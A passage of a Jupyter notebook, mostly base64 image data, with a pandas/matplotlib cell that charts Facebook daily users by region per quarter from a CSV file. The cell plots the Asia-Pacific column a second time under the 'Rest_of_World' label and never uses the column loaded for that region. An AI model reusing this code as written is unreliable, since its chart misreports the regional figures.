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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd # import pandas\n", + "import matplotlib.pyplot as plt #import matplotlib\n", + "import numpy as np\n", + "\n", + "# reading the csv file \n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB6.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "#making a dataframe\n", + "df = pd.DataFrame(stats) #make dataframe\n", + "x = list(df.iloc[:, 0]) #get 0th col\n", + "y = list(df.iloc[:, 1]) #get 1st col\n", + "z = list(df.iloc[:, 2])\n", + "w = list(df.iloc[:, 3])\n", + "k = list(df.iloc[:, 4])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,10))\n", + "width = 0.2 \n", + "\n", + "# Plotting\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='US&Canada', color='k')\n", + "plt.bar(ind + width, z, width, label='Europe',color='r')\n", + "plt.bar(ind + 2*width, w, width, label='Asia_Pacific',color='g')\n", + "plt.bar(ind + 4*width, w, width, label='Rest_of_World',color='b')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Quarter\")\n", + "plt.ylabel(\"Millions\")\n", + "plt.title(\"Facebook daily users by region, millions\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "attachments": { + "image.png": { + "image/png": "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